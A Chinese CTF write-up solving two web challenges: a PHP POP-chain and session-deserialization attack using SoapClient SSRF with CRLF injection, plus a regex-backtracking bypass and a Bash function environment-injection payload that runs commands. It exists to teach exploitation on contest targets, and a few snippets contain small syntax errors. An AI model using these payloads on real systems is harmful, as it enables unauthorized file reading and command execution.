第五届安洵杯-2022-web-writeup

题目:

  • Babyphp(2022安洵杯)
  • Babyweb(2023安洵杯春季赛)

Babyphp(2022安洵杯)

官方wp:https://bbs.kanxue.com/thread-275369.htm

BabyPHP

知识点:session反序列化(pop链)->soap(ssrf+crlf)->call_user_func激活soap类

参考博客1

参考博客2

题目源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
///index.php
<?php
//something in flag.php

class A
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = "babyhacker";
    }

    public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) { //md5,0e绕过
            $this->b->uwant(); // b是class C
        }
    }
}

class B
{
    public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a); //跳到tostring()所以$this->a=class C
    }
}

class C
{
    public $a;
    public $c;

    public function __toString()
    {
        $cc = $this->c;
        return $cc(); //调用函数,预计跳到A里面的invoke
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") { //a=phpinfo可以直接看PHPinfo
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a)); //或者重写a
        }
    }
}


if (isset($_GET['d0g3'])) {
    ini_set($_GET['baby'], $_GET['d0g3']); //ini_set('session.serialize_handler', '设置的引擎');
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);
highlight_file(__FILE__);
1
2
3
4
5
6
7
8
9
10
11
///flag.php
<?php
session_start();
highlight_file(__FILE__);
//flag在根目录下
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ //ssrf
    $f1ag=implode(array(new $_GET['a']($_GET['b'])));
    $_SESSION["F1AG"]= $f1ag;
}else{
   echo "only localhost!!";
}

pop链

链子触发是通过unserialize($_POST["pop"]);;反序列化post的pop。

链子入口是class b里面的 __destruct();

链子的跳板就是class a 里面的 __invoke();

链子的出口应该是class c里面的__uwant call_user_func(array(reset($_SESSION), $this->a));

call_user_func:把第一个参数作为回调函数调用,数组中第一个元素为类名,第二个元素为类方法。【第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 前者函数后者参数】,session这个函数就很可疑了

reset:输出数组中的当前元素和下一个元素的值,然后把数组的内部指针重置到数组中的第一个元素

也就是说:reset() 函数将内部指针指向数组中的第一个元素,并输出。

pop链

链子 B->a=class C -> C->c=class A -> A ->a=0e··· ; A->b=class C

class B __destruct -> class C __tostring()->class A __invoke ->class C __uwant

构造exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
class A
{
public $a = '0e215962017';
public $b;
   public function __invoke()
    {
        if (isset($this->a) && $this->a == md5($this->a)) {
            $this->b->uwant();
        }
    }
}
class B
{
 public $a;
    public $b;
    public $k;

    function __destruct()
    {
        $this->b = $this->k;
        die($this->a);
    }
}
class C
{
  public $a ;
     public $c;

    public function __toString()
    {
        $cc = $this->c;
        return $cc();
    }
    public function uwant()
    {
        if ($this->a == "phpinfo") {
            phpinfo();
        } else {
            call_user_func(array(reset($_SESSION), $this->a));
        }
    }
}

$a = new A();
$b = new B();
$c = new C();
$b -> a = $c;
$b ->a -> c = $a
$a -> b = $c;
$c -> a = 'phpinfo';
echo (serialize($b));

得到payload

O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":2:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:7:"phpinfo";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}

改一下参数绕过wakeup

O:1:"B":3:{s:1:"a";O:1:"C":2:{s:1:"a";N;s:1:"c";O:1:"A":3:{s:1:"a";s:11:"0e215962017";s:1:"b";O:1:"C":2:{s:1:"a";s:7:"phpinfo";s:1:"c";N;}}}s:1:"b";N;s:1:"k";N;}

session反序列化

思路: session反序列+soap(ssrf+crlf)+call_user_func激活soap类

分析
1
2
3
4
5
6
if (isset($_GET['d0g3'])) {             
    ini_set($_GET['baby'], $_GET['d0g3']); //ini_set('session.serialize_handler', '设置的引擎');
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
var_dump($_SESSION);
  • 对于这段代码,我们ini_set($_GET['baby'], $_GET['d0g3']); 构造成ini_set('session.serialize_handler', 'php_serialize');[之前phpinfo可以查看到本来的引擎为php]
  • 然后$_SESSION['sess'] = $_POST['sess'];这里允许我们设置一个sess变量的session,也就对应call_user_func里面的call_user_func(array(reset($_SESSION), $this->a));中的reset($_SESSION)这个时候我们让sess为SoapClient这个类,a随便取一个不存在的函数,则原来这句话就变成了call_user_func(SoapClient->aaa));,就能成功触发soapcilent->__call从而进行ssrf。
  • 现在就是想办法通过pop链触发call_user_func(array(reset($_SESSION), $this->a));从而ssrf。
  • 这个时候就是运用session的机制
1
2
3
4
$a = new SoapClient(null, array('location' => 'uri' => 'http://127.0.0.1/','http://127.0.0.1/flag.php?a=GlobIterator&b=/f*' ));            
$b = serialize($a);
echo $b;
//利用SoapClient调用__call来发起http请求访问flag.php,绕过only localhost的限制
  • 我们先利用crlf伪造请求去访问flag.php并将结果保存在cookie为session=【执行后的sessionID】中
  • 于是我们先传sess为上述的poc【注意格式 序列化内容
1
2
3
4
5
6
7
8
9
10
11
12
if (isset($_GET['d0g3'])) {             
    ini_set($_GET['baby'], $_GET['d0g3']); //ini_set('session.serialize_handler', '设置的引擎');
    session_start();
    $_SESSION['sess'] = $_POST['sess'];
}
else{
    session_start();
    if (isset($_POST["pop"])) {
        unserialize($_POST["pop"]);
    }
}
var_dump($_SESSION);
  • 首先是进入第一个if语句,sess传进去,然后不传dog3
  • 就会进入else,先session start读取我们传的sess,并且反序列化pop,我们这个时候传构造的链子,触发call_user_func,里面的reset(session)就是我们构造的SoapClient咯
  • 于是成功获得flag,存进一个新的session里面
  • 复制一下seesion,访问index.php,输出flag

抄:hurrison佬的wp

查看 phpinfo发现session.serialize_handler=php,ini_set($_GET['baby'], $_GET['d0g3']);可以设置 php_serialize

利用session序列化不一致,根据flag.php, 构造$_SESSION[‘sess’] 对象,到 call_user_func(…) 执行,那么可以用 SoapClient 调用任意不存在的方法造成ssrf访问flag.php

首先根据提示,利用GlobIterator查找根目录文件

1
2
3
4
$a = new SoapClient(null, array('location' => 'uri' => 'http://127.0.0.1/','http://127.0.0.1/flag.php?a=GlobIterator&b=/f*' ));            
$b = serialize($a);
echo $b;
//利用SoapClient调用__call来发起http请求访问flag.php,绕过only localhost的限制

通过 var_dump($_SESSION); 拿到 sessionid 设置后再访问,拿到flag文件名 f1111llllllaagg

另解:new DirextoryIterator('glod://f*')

再利用SplFileObject读flag

1
2
3
$a = new SoapClient(null, array('location' => 'http://127.0.0.1/flag.php?a=SplFileObject&b=/f1111llllllaagg', 'uri' => 'http://127.0.0.1/'));
$b = serialize($a);
echo $b;
官方wp
1
2
GET:
?baby=session.serialize_handler&d0g3=php_serialize
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
/*读文件名*/
$target = "http://127.0.0.1/flag.php?a=DirectoryIterator&b=glob:///f*";
/*读文件内容*/
//$target = "http://127.0.0.1/flag.php?a=SplFileObject&b=php://filter/convert.base64-encode/resource=/f1111llllllaagg";

$attack = new SoapClient(null,array(
'location'=>$target,
'uri'=>'http://127.0.0.1',
'user_agent'=>"test\r\nCookie: PHPSESSID=vidkft3g6sgv3vbbbd5qu9aitk"));
$payload = urlencode(serialize($attack));
echo ''.$payload;
//POST:
//sess=O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A16%3A%22http%3A%2F%2F127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A58%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%3Fa%3DDirectoryIterator%26b%3Dglob%3A%2F%2F%2Ff%2A%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A50%3A%22test%0D%0ACookie%3A+PHPSESSID%3Du1um0t3pnp8sg1sc8d25ueidpp%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

流程就是在index.php中利用session反序列化漏洞上传构造好的sess,然后sess里面的反序列化首先是利用SoapClient来造成ssrf以localhost的身份请求flag.php的内容,并且在flag.php中

1.先是利用DirectoryIterator这个类来查找flag文件的文件名[已知文件在根目录]。

2.利用SplFileObject和filter伪协议来读取文件内容,也就是flag的内容。

现在的目标就是想办法调用SoapClient里面的__Call,所以我们考虑利用之前pop链里面的call_user_func来调用随便一个函数触发call。也就是说我们随便写一个a,然后传入我们的链子,把返回的seesionID写进去,访问index.php,就成功看到flag。

补充

session 反序列化机制

在php.ini中存在session.serialize_handler配置,定义用来序列化/反序列化的处理器名字,默认使用php。
php中的session中的内容是以文件的方式来存储的
存储方式由配置项session.save_handler确定,默认是以文件的方式存储。

机制

在PHP中session有两种机制,分别为默认机制和由用户自定义session处理机制。

默认机制

在php.ini中有如下配置:

1
session.save_handler = file

即,是用磁盘文件来实现PHP会话,它有以下几部分组成:

session_start()

session_start()是session机制的开始,它具有一定概率开启垃圾回收。这个概率是根据php.ini的配置决定的,因为在有的系统中session.gc_probability = 0,即概率是0,这时就不具备垃圾回收

为$_session赋值

添加一个新值只会维持在内存中,当脚本执行结束的时候,把$_session的值写入到session_id指定的文件夹中,然后关闭相关资源。这个阶段有可能执行更改session_id的操作,比如销毁一个旧的session_id,生成一个全新的session_id。这一般用在自定义session操作

写入session操作

在脚本结束的时候会执行session写入操作,把$_session中的值写入到session_id命名的文件中,可能已经存在,可能需要创建新的文件。

销毁session

session发出去的cookie一般是即时cookie,保存在内存中,当浏览器关闭后,才会过期,但是如果只是想退出登录,而不是关闭浏览器,那么就需要在代码里销毁session,方法有很多。

  • setcookies(session_name(),session_id(),time()-8000000,..) 退出登录前执行
  • usset($_SESSION); //删除所有的$_SEESION数据,刷新后,有cookie传过来但是没有数据
  • session_destroy(); //这个作用更彻底,删除$_SESSION 删除session文件 和session_id
用户自定义session处理机制

在php.ini中有如下配置:

1
session.save_handler = user

session_start()

执行open($save_path,$session_name)语句打开session操作句柄执行read($id)从中读取数据

注意:$save_path在此情况下直接返回true

脚本执行结束

执行write($id,$sess_data)语句

销毁session

需要注意如果用户需要销毁session则要先执行destroy再执行第2步

引擎

session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

  • php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  • php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
  • php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');

PHP中session本身的序列化机制是没有问题的
问题出在了如果在序列化和反序列化时选择的引擎不同,就会带来安全问题
当使用php引擎的时候,php引擎会以作为作为key和value的分隔符,对value多进行一次反序列化,达到我们触发反序列化的目的

漏洞实例

存在s1.php和us2.php,两个文件所使用的的session引擎不一样,就形成了一个漏洞。

1
2
3
4
5
6
//s1.php中,使用php_serilise来处理session。
//php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//us2.php中,用php来处理session
//php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
<?php
ini_set('session.serialize_handler','php');
session_start();
classlemon{
    var$hi;
    function__construct(){
$this->hi='phpinfo();';
    }
    
    function__destruct(){
        eval($this->hi);
    }
}

在我们访问s1,php时,构造如下payload:

1
locallhost/s1.php?a=O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}

传进去的 a 在s1.php中进行序列化,引擎是php_serialize,

所以最后存储的内容是:

a:1:{s:6:"spoock";s:48:"O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}" }

然而,在us2.php中,我们读取数据却选择的php,此时读取的内容就是:

1
2
3
4
5
6
7
8
9
10
Array
(
[a:1:{s:6:"spoock";s:48:"] => __PHP_Incomplete_Class Object
(
[__PHP_Incomplete_Class_Name] => lemon
[hi] => echo "spoock";
)

[spoock] => O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}
)

因为我们使用PHP引擎的时候,PHP引擎会用 作为 key 和 value 的分隔符,就会将 `a:1:{s:6:"spoock";s:48:"作为session的key,将O:5:"lemon":1:{s:2:"hi";s:14:"echo "spoock";";}" }作为value,进行反序列化的时候就会得到lemon这个类。

那么我们访问us2.php的时候,就会执行我们写入的echo spock这个操作。

PHP原生类的利用

引言:文章围绕着一个问题,如果在代码审计中有反序列化点,但是在原本的代码中找不到pop链该如何?

参考:反序列化之PHP原生类的利用

SoapClient

这个也算是目前被挖掘出来最好用的一个内置类,php5、7都存在此类。这个内置类里面也有一些自带的魔术方法,比如,__call.可以反序列化这个内置类然后通过一些方法来调用魔法函数来达到目的

1
2
3
4
5
6
7
8
9
<?php
$a = new SoapClient(null,array('uri'=>'http://example.com:5555', 'location'=>'http://example.com:5555/aaa'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();
//调用了c里面不存在的函数a,跳进c也就是SoapClient里面的__call()
//发现SOAPAction参数可控,可以在SOAPAction处注入恶意的换行
//这样一来我们POST提交的header就是可控的,我们就可以通过注入来执行我们想要执行的操作了。(CRLF)
CRLF攻击

什么是CRLF,其实就是回车和换行造成的漏洞,十六进制为0x0d,0x0a ,在HTTP当中headerbody之间就是两个CRLF分割的,所以如果我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样就能注入一些会话cookie和html代码,所以crlf injection 又叫做 HTTP Response Splitting。

其实就是利用http请求的固定格式要求来植入恶意代码。

soap:简单对象访问协议; -》底层通讯逻辑为http

因此可以通过控制soapaction的参数,在SOAPAction处注入恶意的换行,这样一来我们POST提交的header就是可控的,我们就可以通过注入来执行我们想要执行的操作了。


Babyweb(2023安洵杯春季赛)

两个PHP

PHP1.0

源码

思路

需要post一个heizi,作为变量a

a的前五项是aikun

a的最后十项是xiaojijiao

中间加东西

目标是绕过:preg_match('/aikun+?xiaojijiao/is',$a),不能让这个条件满足,但是实际上传的a又必须是这个形式的。就有一个知识点:grep_match回溯次数绕过

正则回溯次数绕过

preg_match绕过总结

.+?是惰性匹配,正则匹配会尽可能少的去匹配。回溯匹配指先对目标字符串顺序匹配,匹配到目标之后再倒回去看上一个匹配的。

最新的PHP文档里规定了正则匹配最大回溯次数是一百万也就是1000000,超过这个值就不再回溯。

对于本题如果中间有1000000个其他字符,则匹配到最后一个时开始回溯,回溯到第一百万停止回溯,此时还没回溯到应该匹配的哪一个字符,函数返回匹配失败,成功绕过。

代码实现
1
2
3
4
5
6
7
8
9
10
11
 #!/usr/bin/env python
 # -*- coding:utf-8 -*-
 # auther:psych
 # time:2023/3/1
 ​
 import requests
 import re
 url = 'http://182.148.156.200:9134/'
 a = requests.Session()
 payload = {'heizi': "aikun" + "a"*1000000 + "xiaojijiao"}      //注意回溯上限是一百万
 print(a.post(url, payload).text)

PHP2.0

找不到源码了,具体的关键的代码就一句,类似下面这个:

源码
1
2
3
4
5
6
7
 <?php
 foreach($_REQUEST['envs'] as $key => $val) {
     putenv("{$key}={$val}");
 }
 //... 一些其他代码
 system('echo hello');
 ?>

有两个可疑点:

  • envs,环境变量应该是其中一个突破口
  • 一个echo函数本来可以直接写,结果非要套一个system。。肯定有问题

首先是关于环境变量的一些思考。

LD_PRELOAD

LD_PRELOAD环境变量注入

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

用人话讲,LD_PRELOAD,是个环境变量,用于动态库的加载,而动态库加载的优先级最高,因此我们可以抢先在正常函数执行之前率先执行我们的用代码写的函数

因此我们能利用LD_PRELOAD劫持并执行任意代码。但遗憾的是,这里没有上传点,我们压根就不可能整个LD_PRELOAD=/var/www/html/uploads/hj.jpg上去。这就是如今的问题所在,怎么在没有给上传接口的情况下get shell。

环境变量注入

https://www.ctfiot.com/26843.html

在大佬的博客中看了半天没看懂,只能说羡慕Linux内核玩家。最后抄个结论:

bash从环境变量中导入函数

省流:

  • Bash 把满足 “BASH_FUNC_函数名%%=(){ 函数体}格式的环境变量作为函数源码解析并导入
  • 然而,本文所讲的表现仅适用于 Bash 4.3.30 及之后的版本,之前的 Bash 版本在导出函数时不会给函数名加上 BASH_FUNC_ 前缀和 %% 后缀,在导入时也不会识别前缀后缀,只要看到 = 右边是 “() {“ 这四个字符,就按函数导入

而这个题还没有那么简单,

只不过和4.4以下的有一处差异:**Bash 4.4下FUNCDEF_SUFFIX等于%%,而这个4.2的补丁中FUNCDEF_SUFFIX等于()**。

也就是说上面大佬的payload还要更改为:

1
 env=[BASH_FUNC_echo()]() { id; }

最后执行了id,现在的问题是执行找到flag并输出。

原题目还加上了一些黑名单,cat和flag都被限制,就用字符串拼接绕过,因为内部是PHP代码,PHP字符串可以拼接。

最终payload
1
 env[BASH_FUNC_echo()]=()%20{%20c=ca;d=t;a=fl;b=ag;$c$d%20/$a$b;%20}